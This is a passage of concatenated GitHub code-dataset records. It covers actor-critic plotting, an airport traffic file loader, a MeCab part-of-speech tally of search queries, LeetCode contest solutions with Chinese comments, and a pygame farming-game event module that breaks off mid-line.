 plt.plot(array_x_test, df_test[topic], color='k', linestyle='-', label='test data')\n            plt.plot(array_x_test, self.df_test_generated[topic], color='g', linestyle='--', label='MFG (test)')\n            plt.plot(array_x_test, df_future_var[topic], color='b', linestyle=':', label=\"VAR (test)\")\n        else:\n            plt.plot(array_x_test, df_test[topic], color='k', linestyle='-', label='test data')\n            plt.plot(array_x_test, self.df_test_generated[topic], color='g', linestyle='--', label='MFG (test)')\n            plt.plot(array_x_test, self.df_rnn[topic], color='m', linestyle='-.', label='RNN (test)')\n            if log_scale:\n                ax.set_yscale('log')\n        plt.ylabel('Topic %d popularity' % topic)\n        plt.xlabel('Day')\n        plt.xticks(np.arange(0,10+1,1))\n        plt.legend(loc='best', prop={'size':14})\n        plt.title(\"Topic %d measurement and predictions\" % topic)\n\n        if save_plot == 1:\n            pp = PdfPages(outfile)\n            pp.savefig(fig)\n            pp.close()\n        else:\n            plt.show()\n\n        \n\nif __name__ == \"__main__\":\n    ac = actor_critic(theta=8.86349, shift=0.16, alpha_scale=12000, d=21)\n    t_start = time.time()\n    ac.train(num_episodes=100000, gamma=1, lr_critic=0.1, lr_actor=0.1, consecutive=100, write_file=1, write_all=0)\n    t_end = time.time()\n    print(\"Time elapsed\", t_end - t_start)\n","repo_name":"011235813/discrete_mean_field_game","sub_path":"mfg_ac2.py","file_name":"mfg_ac2.py","file_ext":"py","file_size_in_byte":33190,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"79"}
+{"seq_id":"34921092651","text":"import geo\nimport airport\n\nDEP = 'DEP'             # Departure\nARR = 'ARR'             # Arrival\nSTEP = 5                # Minimal time step (seconds)\nLAND_D = 40 // STEP     # Landing duration (time steps)\nTAKEOF_D = 60 // STEP  # Take-of duration (time steps)\nRUNWAY_WIDTH = 90       # Runway area width (meters)\nSEP = 70                # Minimal distance separation (meters)\nSEP2 = SEP * SEP\n\n\nclass Flight(object):\n    \"\"\" Flight data \"\"\"\n    def __init__(self, callsign, dep, cat, stand, runway, qfu, time, slot):\n        self.callsign = callsign  # Flight call-sign (str)\n        self.dep = dep            # Departure ? (bool)\n        self.cat = cat            # Aircraft wake vortex category\n        self.stand = stand        # Used stand index\n        self.runway = runway      # Used Runway index\n        self.qfu = qfu            # Used QFU index\n        self.time = time          # Beginning time (time steps)\n        self.slot = slot          # NMOC slot (time steps)\n        self.route = []           # Followed route [((x, y), loc), ...]\n\n    def get_position(self, t):\n        \"\"\" Return the (x, y) position of the flight at time 't'\"\"\"\n        return self.route[t - self.time][0]\n\n    def stop(self, t):\n        dt = t - self.time\n        return (0 < dt and self.route[dt - 1][1] != 'P' and\n                self.route[dt - 1] == self.route[dt])\n\n\nclass Traffic(object):\n    \"\"\" Traffic description \"\"\"\n    def __init__(self, name, flights):\n        self.name = name\n        self.flights = flights\n        self.t_min = 0\n        self.t_max = 0\n        self.ids = []\n        if flights != []:\n            self.t_min = min(flight.time for flight in flights)\n            t_max = max(flight.time + len(flight.route) for flight in flights)\n            self.ids = [[] for _ in range(t_max - self.t_min)]\n            for (i, flight) in enumerate(self.flights):\n                t0 = flight.time - self.t_min\n                for t in range(t0, t0 + len(flight.route)):\n                    self.ids[t].append(i)\n\n    def get_plots(self, t):\n        \"\"\" Extract the list of plots (i, (x, y)) at time step 't'\"\"\"\n        if self.t_min <= t < self.t_min + len(self.ids):\n            ids = self.ids[t - self.t_min]\n            return [(i, self.flights[i].get_position(t)) for i in ids]\n        return []\n\n# Time string conversions\n\ndef to_hms(t):\n    \"\"\" Formatted HH:MM:SS string representing time step 't'\"\"\"\n    time = t * STEP\n    h = time // 3600\n    m = time % 3600 // 60\n    s = time % 60\n    return '{:02d}:{:02d}:{:02d}'.format(h, m, s)\n\n\ndef to_time(str_hms):\n    \"\"\" Time step corresponding to a string 'hms'\"\"\"\n    hms = str_hms.replace(':', ' ').split()\n    h = 0 if len(hms) < 1 else int(hms[0])\n    m = 0 if len(hms) < 2 else int(hms[1])\n    s = 0 if len(hms) < 3 else int(hms[2])\n    return (h * 3600 + m * 60 + s) // STEP\n\n\n# Load a traffic file\n\ndef get_xys(str_xy_list):\n    \"\"\" Convert an x,y string list 'str_xy_list' to coordinates \"\"\"\n    str_xys = [s.split('.')[:3] for s in str_xy_list]\n    return [((int(p[0]), int(p[1])), p[2]) for p in str_xys]\n\n\ndef load(apt, filename):\n    \"\"\" Load a traffic file 'filename' on airport 'apt': return the traffic \"\"\"\n    print('Loading traffic:', filename + '...', end='')\n    cat_dict = {'L': airport.LIGHT, 'M': airport.MEDIUM, 'H': airport.HEAVY}\n    flights = []\n    with open(filename) as file:\n        for line in file:\n            words = line.strip().split()\n            dep = words[0] == \"D\"\n            callsign = words[1]\n            cat = cat_dict[words[2][1]]\n            stand = apt.points_dict.get(words[3], None)\n            qfu = words[4]\n            runway = apt.qfu_dict.get(qfu, None)\n            time = int(words[5]) // STEP\n            slot = int(words[6]) // STEP if words[6] != \"_\" else None\n            fpl = Flight(callsign, dep, cat, stand, runway, qfu, time, slot)\n            track = file.readline().strip().split()\n            fpl.route = get_xys(track[2:])\n            flights.append(fpl)\n    file.close()\n    traffic = Traffic(filename, flights)\n    print('Done.')\n    return traffic\n\n","repo_name":"Bosheng-BA/VISU","sub_path":"traffic.py","file_name":"traffic.py","file_ext":"py","file_size_in_byte":4081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"28866144589","text":"# -*- coding: utf-8 -*-\n\n## 動詞が含まれる場合のvertical\nfrom collections import defaultdict\nimport datetime\nimport MeCab\n\n## verticalを大きなまとめに\ndef typical_vertical(vertical):\n  if vertical in [\"isrch\", \"isearch\", \"bigimage\"]:\n    return \"image\"\n  elif vertical in [\"vsrch\", \"vsearch\", \"gvideo\", \"movie\", \"mvrnk\", \"drama\", \"tv\", \"tvrank\"]:\n    return \"video\"\n  elif vertical in [\"dic\", \"kb\", \"wiki\"]:\n    return \"dic\"\n  elif vertical in [\"chie\"]:\n    return \"chie\"\n  elif vertical in [\"map\", \"maps\", \"tv-spot\"]:\n    return \"map\"\n  elif vertical in [\"realtime\", \"rts\", \"buzz\"]:\n    return \"realtime\"\n  elif vertical in [\"news\"]:\n    return \"news\"\n  elif vertical in [\"shp\", \"cmcnb\", \"shpkw\", \"shprank\", \"cmcat\", \"fashion\", \"dcomic\", \"store\", \"adcomic\"]:\n    return \"shopping\"\n  elif vertical in [\"auc\", \"auction\"]:\n    return \"auction\"\n  elif vertical in [\"talent\", \"tlnt\", \"psnsp\", \"avtlnt\"]:\n    return \"talent\"\n  elif vertical in [\"recipe\", \"rcp\", \"cookpad\", \"hrecipe\"]:\n    return \"recipe\"\n  elif vertical in [\"loco\", \"local\", \"iplocal\"]:\n    return \"loco\"\n  else:\n    return \"other\"\n\n## dicの中身をソートして出力\ndef print_dict_content(dic):\n  for v in dic:\n    allNum = dic[v][\"all\"]\n    if allNum == 0:\n      continue\n    print (\"----------\"+v+\"----------\")\n    dic[v] = sorted(dic[v].items(), key=lambda x: x[1])\n    for y in dic[v]:\n      print (y[0]+','+str(y[1]) + \",\" + str(float(y[1])/allNum * 100) + \"%\")\n\n#メインスタート！\nif __name__ == \"__main__\":\n  dic = {\n    \"verb\": defaultdict(lambda: 0),\n    \"adj\": defaultdict(lambda: 0),\n    \"adv\": defaultdict(lambda: 0),\n    \"joshi\": defaultdict(lambda: 0),\n    \"noNoun\": defaultdict(lambda: 0),\n  }\n  for fileNum in xrange(2,9):\n    for line in open('../data/2015110'+str(fileNum)+'_all', 'r'):\n    # for line in open('../data/small_data.txt','r'):\n      featureArray = line.split(\"\\t\")\n      # if featureArray[11] != \"\":\n      if featureArray[10] == \"\":\n        continue\n      vertical = typical_vertical(featureArray[10])\n      try:\n        query = unicode(featureArray[7], 'utf-8')\n      except:\n        continue\n      tagger = MeCab.Tagger(\"-Ochasen\")\n      encoded_text = query.encode('utf-8')\n      node = tagger.parseToNode(encoded_text)\n      verbFlag = False\n      adjFlag = False\n      advFlag = False\n      nounFlag = False\n      joshiFlag = False\n      while node:\n        feature = node.feature\n        source = feature.split(\",\")[6]\n        speech = feature.split(\",\")[0]\n        word_kind = feature.split(\",\")[1]\n        if speech in [r'名詞']:\n          nounFlag = True\n        if speech in [r'動詞']:\n          verbFlag = True\n        if speech in [r'形容詞']:\n          adjFlag = True\n        if speech in [r'副詞']:\n          adjFlag = True\n        if speech in [r'助詞']:\n          joshiFlag = True\n        node = node.next\n      if verbFlag:\n        dic[\"verb\"][\"all\"] += 1\n        dic[\"verb\"][vertical] += 1\n      if adjFlag:\n        dic[\"adj\"][\"all\"] += 1\n        dic[\"adj\"][vertical] += 1\n      if advFlag:\n        dic[\"adv\"][\"all\"] += 1\n        dic[\"adv\"][vertical] += 1\n      if joshiFlag:\n        dic[\"joshi\"][\"all\"] += 1\n        dic[\"joshi\"][vertical] += 1\n      if nounFlag == False:\n        dic[\"noNoun\"][\"all\"] += 1\n        dic[\"noNoun\"][vertical] += 1\n\n\n  print_dict_content(dic)\n\n\n","repo_name":"kadotami/master_research_script","sub_path":"script/speech_extract.py","file_name":"speech_extract.py","file_ext":"py","file_size_in_byte":3329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"40324952949","text":"from time import time\nimport typing\nfrom typing import List, Optional, Tuple\nimport copy\nfrom copy import deepcopy, copy\nimport collections\nfrom collections import deque, defaultdict, Counter, OrderedDict, namedtuple\nimport math\nfrom math import sqrt, ceil, floor, log, log2, log10, exp, sin, cos, tan, asin, acos, atan, atan2, hypot, erf, erfc, inf, nan\nimport bisect\nfrom bisect import bisect_right, bisect_left\nimport heapq\nfrom heapq import heappush, heappop, heapify, heappushpop\nimport functools\nfrom functools import lru_cache, reduce, partial # cache\n# cache = partial(lru_cache, maxsize=None)\n# cache for Python 3.9, equivalent to @lru_cache(maxsize=None)\nimport itertools\nfrom itertools import product, permutations, combinations, combinations_with_replacement, accumulate\nimport string\nfrom string import ascii_lowercase, ascii_uppercase\n# s = \"\"\n# s.isdigit, s.islower, s.isnumeric\nimport operator\nfrom operator import add, sub, xor, mul, truediv, floordiv, mod, neg, pos # 注意 pow 与默认环境下的 pow(x,y, MOD) 签名冲突\nimport sys, os\n# sys.setrecursionlimit(10000)\nimport re\n\n# https://github.com/grantjenks/python-sortedcontainers\nimport sortedcontainers\nfrom sortedcontainers import SortedList, SortedSet, SortedDict\n# help(SortedDict)\n# import numpy as np\nfrom fractions import Fraction\nfrom decimal import Decimal\n\n# from utils_leetcode import testClass\n# from structures import ListNode, TreeNode, linked2list, list2linked\n\n\"\"\" \nhttps://leetcode.cn/contest/weekly-contest-261\nhttps://leetcode-cn.com/contest/biweekly-contest-48\n@2022 \"\"\"\nclass Solution:\n    \"\"\" 1796. 字符串中第二大的数字 \"\"\"\n    def secondHighest(self, s: str) -> int:\n        nums = (int(ch) for ch in s if ch in \"0123456789\")\n        nums = sorted(set(nums), reverse=True)\n        return nums[1] if len(nums)>1 else -1\n    \n    \"\"\" 1798. 你能构造出连续值的最大数目 #medium\n给定一组银币, 问能从这些硬币中组成 0,1,2...n-1 这样最大多少个连续数字, 返回能构成的数量n.\n思路: #归纳\n    根据所给的例子进行归纳猜想. 例如, 给定 `[1,4,10,3,1]`, 答案为20. \n    先将其排序 `[1,1,3,4,10]`, 第一个最多为1; 前两个最多构成2, 正好接上第三个数字3; 第四个显然可以; 然后前四个数字之和9, 可以接上数字10, 这样最大的数字为19.\n    因此, 可以总结: 对于第i个数字若前缀和 acc[1...i-1] >= nums[i], 则可以使用第i个数字. 找到最大的满足条件的i, 答案即为 acc+1.\n\"\"\"\n    def getMaximumConsecutive(self, coins: List[int]) -> int:\n        coins.sort()\n        if coins[0] != 1: return 1\n        acc = 0\n        for c in coins:\n            if c <= acc+1:\n                acc += c\n            else:\n                break\n        return acc+1\n    \n    \"\"\" 1799. N 次操作后的最大分数和 #hard #题型\n给定一个长度为 2n 的数组, 将他们分成n组, 每组两个数字计算gcd, 然后每一组的权重为 1,2...,n, 定义分数为带权和. 求最大的分数\n限制: 最大的组数为 n<=7\n思路0: 尝试暴力遍历, 超时\n    初步想了一下, 从所有数字中找一半作为一组, 数量最多为为 `comb(14, 7) = 3432`, 然后遍历其中一部分进行匹配, 数量为 `perm(7) = 5040`. 这样整体的尝试次数似乎在 1e7 级别?\n    下面用递归形式, 结果超时了\n思路1: #DP\n    数组的最大长度为 14, 因此考虑用状压来进行表示. 注意这里只有mask中非零位数量为偶数时才是有效的.\n    采用dp, 定义 dp[mask] 为 **采用mask所表示的大小为2a子集, 权重分别为 1...a 的最大分数**; \n    则有递推公式 `dp[mask] = max{ dp[premask] + s*gcd(mask^premask) }`. 其中第一项premask枚举mask之前的状态 (查了两个数字), 而第二项是新加的两个数字, 权重 s=mask.bit_count()//2\n    复杂度: dp长度为 2^(2n); 枚举大小为2的子集的复杂度为 O(len(arr)^2). 因此总体复杂度为 O(2^(2n) * (2n)^2)\n注意: 在考虑DP的时候, 之前在纠结子问题的值进行表示什么? 它们的权重是什么? 但考虑到DP其实就是暴力枚举, 在上面max的过程中自然会遍历到所有的可能, 因此直接定义submask的权重为子问题的即可, 这样, 对于新的pair赋予权重为之后的那一个即可.\n\"\"\"\n    def maxScore(self, nums: List[int]) -> int:\n        \"\"\" 尝试暴力遍历, 超时 \"\"\"\n        # 预计算 gcd表\n        l = len(nums)\n        gcdMap = [[0]* l for _ in range(l)]\n        for i in range(l):\n            for j in range(i, l):\n                gcdMap[i][j] = math.gcd(nums[i], nums[j])\n        n = l//2\n        # 遍历所有的 comb(14,7) 组合\n        part1 = []\n        def dfs(idx):\n            if len(part1) == n:\n                check(part1)\n                return\n            for i in range(idx, l):\n                part1.append(i)\n                dfs(i+1)\n                part1.pop()\n        ans = 0\n        # 检查划分方式 part1, part2 是否满足条件: 需要遍历所有的匹配方式\n        def check(part1):\n            nonlocal ans\n            part2 = (i for i in range(l) if i not in part1)\n            for perm in itertools.permutations(part2):\n                gcds = [gcdMap[i][j] for i,j in zip(part1, perm)]\n                gcds.sort()\n                ans = max(ans, sum(i*j for i,j in zip(range(1, n+1), gcds)))\n        dfs(0)\n        return ans\n    \n    def maxScore(self, nums: List[int]) -> int:\n        l = len(nums)\n        dp = [0] * (1<<l)\n        for mask in range(1, 1<<l):\n            if mask.bit_count() % 2 != 0: continue\n            idxs = [i for i in range(l) if mask>>i&1]\n            for pair in itertools.combinations(idxs, 2):\n                submask = mask ^ (1<<pair[0]) ^ (1<<pair[1])\n                dp[mask] = max(dp[mask], dp[submask] +mask.bit_count()//2 * math.gcd(nums[pair[0]], nums[pair[1]]) )\n        return dp[(1<<l)-1]\n    \n    \n    def testClass(self, inputs):\n        # 用于测试 LeetCode 的类输入\n        s_res = [None] # 第一个初始化类, 一般没有返回\n        methods, args = [eval(l) for l in inputs.split('\\n')]\n        class_name = eval(methods[0])(*args[0])\n        for method_name, arg in list(zip(methods, args))[1:]:\n            r = (getattr(class_name, method_name)(*arg))\n            s_res.append(r)\n        return s_res\n\nclass AuthenticationManager:\n    \"\"\" 1797. 设计一个验证系统\ninit: timeToLive 为验证到期时间\ngenerate(string tokenId, int currentTime): 在currentTime生成一个验证码\nrenew(string tokenId, int currentTime): 如果存在tokenId并且尚未过期, 则更新其开始时间为currentTime\ncountUnexpiredTokens(int currentTime): 计算所有未过期的验证码数量\n\"\"\"\n    def __init__(self, timeToLive: int):\n        self.timeToLive = timeToLive\n        self.auths = {}\n\n    def generate(self, tokenId: str, currentTime: int) -> None:\n        self.auths[tokenId] = currentTime\n\n    def renew(self, tokenId: str, currentTime: int) -> None:\n        if tokenId in self.auths and currentTime - self.auths[tokenId] < self.timeToLive:\n            self.auths[tokenId] = currentTime\n\n    def countUnexpiredTokens(self, currentTime: int) -> int:\n        cnt = 0\n        for tokenId in self.auths:\n            if currentTime - self.auths[tokenId] < self.timeToLive:\n                cnt += 1\n            # 否则应该删除掉; 不过调用次数最多2000没必要\n        return cnt\n\nsol = Solution()\nresult = [\n    # sol.secondHighest(s = \"abc1111\"),\n    # sol.secondHighest(s = \"dfa12321afd\"),\n#     sol.testClass(\"\"\"[\"AuthenticationManager\", \"renew\", \"generate\", \"countUnexpiredTokens\", \"generate\", \"renew\", \"renew\", \"countUnexpiredTokens\"]\n# [[5], [\"aaa\", 1], [\"aaa\", 2], [6], [\"bbb\", 7], [\"aaa\", 8], [\"bbb\", 10], [15]]\"\"\"),\n    # sol.getMaximumConsecutive(coins = [1,3]),\n    # sol.getMaximumConsecutive([1,4,10,3,1]),\n    # sol.getMaximumConsecutive(coins = [1,1,1,4]),\n    sol.maxScore(nums = [1,2]),\n    sol.maxScore(nums = [3,4,6,8]),\n    sol.maxScore(nums = [1,2,3,4,5,6]),\n    sol.maxScore([39759,619273,859218,228161,944571,597983,483239,179849,868130,909935,912143,817908,738222,653224]),\n]\nfor r in result:\n    print(r)\n","repo_name":"Lightblues/Leetcode","sub_path":"LC-contest/d001-050/d48.py","file_name":"d48.py","file_ext":"py","file_size_in_byte":8184,"program_lang":"python","lang":"zh","doc_type":"code","stars":6,"dataset":"github-code","pt":"79"}
+{"seq_id":"71728190656","text":"\"\"\"\nCharacter related events.\n\"\"\"\nfrom typing import Dict, Callable, List\n\nimport pygame\n\nfrom src.core.constant import Direction\nfrom src.core.context import Context\nfrom src.core.display import GridLayer\nfrom src.registry import RegistryUtil\nfrom src.world.character import Character\nfrom src.core.common.methodical import CallbackQueue, CallbackNode\nfrom src.world.context_getters import (\n    get_character,\n    get_data_window,\n    get_curtain,\n    get_scene_manager,\n    get_inventory,\n    get_message_box,\n    get_crop_grid,\n    get_hotbar,\n    get_music,\n    get_shopping,\n)\nfrom src.world.data.frames import Frames\nfrom src.world.data.items import ItemTags, Items\nfrom src.world.data.maps import Maps\nfrom src.world.data.music import Music\nfrom src.world.data.registries import Registries\nfrom src.world.data.tiles import Tiles\nfrom src.world.events.crop import update_crop\nfrom src.world.events.game import first_time_to_farm\nfrom src.world.item.chest import Chest\nfrom src.world.item.crop import Crop, GameCrop\nfrom src.world.item.hotbar import Hotbar\nfrom src.world.item.item import GameItem, Item\nfrom src.world.item.product import Product\nfrom src.world.map import Map\nfrom src.world.maps.farm import FarmMap\nfrom src.world.maps.home import HomeMap\nfrom src.world.message_box import MessageBox\nfrom src.world.scene_manager import SceneManager\nfrom src.world.util import flip_coin\n\n\ndef init_character(context: Context):\n    \"\"\"\n    Initializes character.\n    \"\"\"\n    context[\"character\"] = Character(context)\n\n\ndef map_key_to_direction(key: int) -> int | None:\n    if key == pygame.K_w:\n        return Direction.UP\n    if key == pygame.K_d:\n        return Direction.RIGHT\n    if key == pygame.K_s:\n        return Direction.DOWN\n    if key == pygame.K_a:\n        return Direction.LEFT\n\n    return None\n\n\ndef character_key_down(context: Context):\n    \"\"\"\n    Player presses key down when they control the character.\n    \"\"\"\n    key = context.event_data.get(\"key\")\n    character: Character = context[\"character\"]\n\n    # Yield to the message box\n    message_box: MessageBox = get_message_box(context)\n    if message_box.is_displayed():\n        return\n\n    # It does not work if the character is frozen\n    if character.frozen:\n        return\n\n    # Direction\n    direction = map_key_to_direction(key)\n    if direction is not None:\n        character.move(direction)\n        return\n\n    # <J> use item / open doors / sleep / open inventory\n    if key == pygame.K_j:\n        if character_open_door(context):\n            return\n        if character_sleep(context):\n            return\n        if character_open_chest(context):\n            return\n        if character_open_basket(context):\n            return\n        if character_harvest_crop(context):\n            return\n        if character_use_item(context):\n            return\n\n\ndef is_tilled_dirt_cell(cell: GridLayer.Cell) -> bool:\n    \"\"\"\n    Checks whether a cell is tilled dirt cell.\n    \"\"\"\n    # return cell.surface in Renderers.TilledDirt.tiles\n    return cell.surface == Tiles.TilledDirt15\n\n\ndef character_use_item(context: Context) -> bool:\n    \"\"\"\n    Character uses item.\n    \"\"\"\n    character: Character = context[\"character\"]\n    coordinate = character.get_coordinate()\n    hotbar: Hotbar = context[\"hotbar\"]\n    selected_item: GameItem | None = hotbar.chest.get_selected_item()\n\n    if selected_item is None:\n        # Nothing can be used\n        return False\n\n    item_ref = Registries.Item.get_ref_by_res(selected_item.item)\n\n    if item_ref.contain_tag(ItemTags.TOOL):\n        # Tools\n        if selected_item.item == Items.WateringCan:\n            return character_use_watering_can(context, character)\n    elif item_ref.contain_tag(ItemTags.SEEDS):\n        # Sow seeds\n        scene_manager: SceneManager = context[\"scene_manager\"]\n\n        # Check whether the current map is farm\n        if not scene_manager.is_map(Maps.Farm):\n            return False\n\n        # Check whether the cell is arable\n        farm_map: FarmMap = scene_manager.controller.map\n        if (\n            not is_tilled_dirt_cell(farm_map.floor.get_cell(coordinate))\n            or farm_map.crop.get_cell(coordinate).surface is not None\n        ):\n            return False\n\n        # Sow seeds: consume a packet of seeds; update the crop layer\n        crop_item_mapping: Dict[Item, Crop] = context[\"crop_item_mapping\"]\n        crop: Crop | None = crop_item_mapping.get(selected_item.item)\n        if crop is None:\n            return False\n\n        hotbar.chest.consume_selected_item()\n        game_crop = GameCrop(crop)\n        crop_grid = get_crop_grid(context)\n        crop_grid.set(coordinate, game_crop)\n        farm_map.crop.update_cell(coordinate, game_crop.image)\n\n        return True\n\n    return False\n\n\ndef character_use_watering_can(context: Context, character: Character) -> bool:\n    \"\"\"\n    Character uses the watering can.\n    \"\"\"\n    scene_manager = get_scene_manager(context)\n    if not scene_manager.is_map(Maps.Farm):\n        return False\n\n    coordinate = character.get_coordinate()\n    character_fps = context.settings.character_animation_fps\n\n    # Play watering animation\n    scene_manager = get_scene_manager(context)\n    animation_layer = GridLayer(\n        scene_manager.controller.map.size, context.settings.display_cell_size\n    )\n    context.display.set_layer(\"animation\", animation_layer)\n    watering_frames = Frames.Watering.list\n\n    def update_watering_animation(index: int) -> None:\n        if index == len(watering_frames):\n            animation_layer.wipe_cell(coordinate)\n            return\n\n        animation_layer.wipe_cell(coordinate)\n        animation_layer.update_cell(coordinate, watering_frames[index])\n\n    context.loop_manager.once(character_fps, len(watering_frames) + 1, update_watering_animation)\n\n    # Character animation\n    character.set_action(Character.Action.Water)\n    context.loop_manager.delay(\n        1000 / character_fps * 9,\n        lambda: character.set_action(Character.Action.Idle),\n    )\n\n    # Update the corresponding game crop\n    crop_grid = get_crop_grid(context)\n    game_crop: GameCrop | None = crop_grid.get(coordinate)\n    if game_crop:\n        game_crop.watered = True\n\n    # Update floor\n    farm_map: FarmMap = scene_manager.get_map_controller(Maps.Farm).map\n    if farm_map.floor.get_cell(coordinate).surface == Tiles.TilledDirt15:\n        farm_map.floor.update_cell(coordinate, Tiles.DarkenTilledDirt15)\n\n    return True\n\n\ndef character_open_door(context: Context) -> bool:\n    \"\"\"\n    Character opens door.\n    \"\"\"\n    if context[\"flag.door_opening\"]:\n        return True\n\n    character: Character = context[\"character\"]\n    scene_manager: SceneManager = context[\"scene_manager\"]\n    coordinate = character.get_coordinate()\n\n    if (\n        scene_manager.is_map(Maps.Home)\n        and character.facing == Direction.DOWN\n        and coordinate == (4, 4)\n    ):\n        home_map: HomeMap = scene_manager.controller.map\n        door_coordinate = home_map.door_coordinate\n        door_frames = Frames.Door.list\n        count = len(door_frames) + 1\n\n        def door_loop(index: int):\n            if index != count - 1:\n                # Only update the door frame\n                home_map.furniture_bottom.wipe_cell(door_coordinate, 255)\n                home_map.furniture_bottom.update_cell(door_coordinate, door_frames[index])\n                return\n\n            # Get out to the farm\n            def to_farm():\n                character.teleport((19, 7))\n                character.facing = Direction.DOWN\n                character.stop_all()\n                character.frozen = False\n\n                # Stop music and play another music\n                if flip_coin() or not context[\"flag.been_to_farm\"]:\n                    music = get_music(context)\n                    if not music.is_playing():\n                        get_music(context).fade_in(Music.Farm)\n\n                if not context[\"flag.been_to_farm\"]:\n                    first_time_to_farm(context)\n\n            scene_manager.change_map(Maps.Farm, to_farm)\n            home_map.furniture_bottom.update_cell(door_coordinate, Tiles.Door5)\n            context[\"flag.door_opening\"] = False\n\n        character.frozen = True\n        context[\"flag.door_opening\"] = True\n        context.loop_manager.once(10, count, door_loop)\n        return True\n\n    if (\n        scene_manager.is_map(Maps.Farm)\n        and character.facing == Direction.UP\n        and coordinate == (19, 7)\n    ):\n        farm_map: FarmMap = scene_manager.controller.map\n        door_coordinate = farm_map.get_door_coordinate()\n        door_frames = Frames.Door.list\n        count = len(door_frames) + 1\n        up_coordinate = (door_coordinate[0], door_coordinate[1] - 1)\n\n        def door_loop(index: int):\n            if index != count - 1:\n                farm_map.ground.wipe_cell(door_coordinate)\n                farm_map.ground.update_cell(door_coordinate, door_frames[index])\n                farm_map.floor.update_cell(up_coordinate, Tiles.WoodenHouse13)\n\n                return\n\n            # Get into the house\n            def back_home():\n                character.teleport((4, 4))\n                character.facing = Direction.UP\n                character.stop_all()\n                character.frozen = False\n\n            scene_manager.change_map(Maps.Home, back_home)\n            farm_map.floor.update_cell(up_coordinate, Tiles.WoodenHouse13)\n            farm_map.ground.update_cell(door_coordinate, Tiles.Door5)\n\n            context[\"flag.door_opening\"] = False\n\n        character.frozen = True\n        context[\"flag.door_opening\"] = True\n        context.loop_manager.once(10, count, door_loop)\n        return True\n\n    return False\n\n\ndef character_sleep(context: Context) -> bool:\n    \"\"\"\n    Character sleeps.\n    \"\"\"\n    character: Character = context[\"character\"]\n    scene_manager: SceneManager = context[\"scene_manager\"]\n\n    # Reject any requests if the character is sleeping\n    if context[\"flag.sleeping\"]:\n        return True\n\n    if not scene_manager.is_map(Maps.Home):\n        return False\n\n    coordinate = character.get_coordinate()\n    if not coordinate == (2, 4) or not character.facing == Direction.LEFT:\n        return False\n\n    # Sleep\n    context[\"flag.sleeping\"] = True\n    character.set_action(Character.Action.Idle)\n    character.frozen = True\n    transition_to_next_day(context)\n\n    return True\n\n\ndef character_open_chest(context: Context) -> bool:\n    \"\"\"\n    Character opens a chest.\n    \"\"\"\n    scene_manager = get_scene_manager(context)\n    character = get_character(context)\n    inventory = get_inventory(context)\n    front_coordinate = character.get_front_coordinate()\n    context[\"chest_coordinate\"] = front_coordinate\n\n    def check_chest(_map: Map, chest: Chest) -> bool:\n        if not scene_manager.is_map(_map):\n            return False\n\n        concrete_map = scene_manager.controller.map\n        furniture_bottom_layer: GridLayer = concrete_map.furniture_bottom\n        floor_layer: GridLayer = concrete_map.floor\n\n        if furniture_bottom_layer.get_cell(front_coordinate).surface != Tiles.ChestFront0:\n            return False\n\n        frames = Frames.Chest.list\n        num_frame: int = len(frames)\n        floor_cell = floor_layer.get_cell(front_coordinate)\n\n        def after_animation() -> None:\n            inventory.open_chest(chest)\n\n        def chest_animation(index: int):\n            if index < num_frame:\n                furniture_bottom_layer.wipe_cell(front_coordinate)\n                furniture_bottom_layer.update_cell(front_coordinate, frames[index])\n                floor_layer.update_cell(front_coordinate, floor_cell.surface)\n            else:\n                # First open the chest\n                if context[\"flag.first_open_chest\"]:\n                    first_time_to_open_chest(context, after_animation)\n                else:\n                    after_animation()\n\n        # Freeze character\n        character.stop_all()\n        character.set_action(Character.Action.Idle)\n        character.frozen = True\n\n        # Play frames\n        context.loop_manager.once(6, num_frame + 1, chest_animation)\n\n        return True\n\n    if check_chest(Maps.Farm, context[\"shipping_chest\"]):\n        return True\n\n    if check_chest(Maps.Home, context[\"home_chest\"]):\n        return True\n\n    return False\n\n\ndef character_open_basket(context: Context) -> False:\n    \"\"\"\n    Characters open basket.\n    \"\"\"\n    scene_manager = get_scene_manager(context)\n    shopping = get_shopping(context)\n    character = get_character(context)\n    front_coordinate = character.get_front_coordinate()\n\n    if not scene_manager.is_map(Maps.Home):\n        return False\n\n    home_map: HomeMap = scene_manager.get_map_controller(Maps.Home).map\n    if home_map.furniture_bottom.get_cell(front_coordinate).surface != Tiles.Basket:\n        return False\n\n    character.set_action(Character.Action.Idle)\n    character.frozen = True\n\n    # Open shopping\n    shopping.open()\n\n    if not context[\"flag.has_opened_basket\"]:\n        context.flip(\"flag.has_opened_basket\")\n        message_box = get_message_box(context)\n        message_box.play(\n            \"Tips for shopping:\\n\"\n            \"Press [W] and [S] to select products to buy.\\n\"\n            \"Press [B] to buy one selected product.\\n\"\n            \"Press [C] to close the basket.\\n\"\n            \"You cannot buy a product if you don't have enough money!\\n\"\n        )\n\n    return True\n\n\ndef first_time_to_open_chest(context: Context, callback: Callable) -> None:\n    context[\"flag.first_open_chest\"] = False\n    message_box = get_message_box(context)\n\n    def fn0() -> CallbackNode:\n        lines = [\n            \"Looks like this is your first time using a chest.\",\n            \"You can press [W][A][S][D] to select items in the chest;\",\n            \"Press [N] to move the selected item to the chest;\",\n            \"Press [M] to move the selected item to the hotbar;\",\n            \"Press [C] to close the chest.\",\n        ]\n        return message_box.play(\"\\n\".join(lines))\n\n    CallbackQueue([fn0, callback]).start()\n\n\ndef transition_to_next_day(context: Context) -> None:\n    \"\"\"\n    Transits to the next day.\n    \"\"\"\n    data_window = get_data_window(context)\n    character = get_character(context)\n    curtain = get_curtain(context)\n    loop_manager = context.loop_manager\n\n    get_music(context).fade_out()\n\n    def fn0() -> CallbackNode:\n        return curtain.fade_out(context.settings.sleep_fade_speed)\n\n    def fn1() -> CallbackNode | None:\n        return shipping(context)\n\n    def fn2() -> CallbackNode:\n        return loop_manager.delay_methodical(1000)\n\n    def fn3() -> CallbackNode:\n        # Set the data window\n        data_window.day += 1\n        data_window.reset_time()\n\n        # Update crops\n        update_crop(context)\n\n        # Character facing\n        character.facing = Direction.RIGHT\n        character.frozen = False\n\n        if flip_coin(0.35):\n            get_music(context).fade_in(Music.Home)\n\n        return curtain.fade_in(context.settings.sleep_fade_speed)\n\n    def fn4() -> None:\n        context[\"flag.sleeping\"] = False\n\n    CallbackQueue([fn0, fn1, fn2, 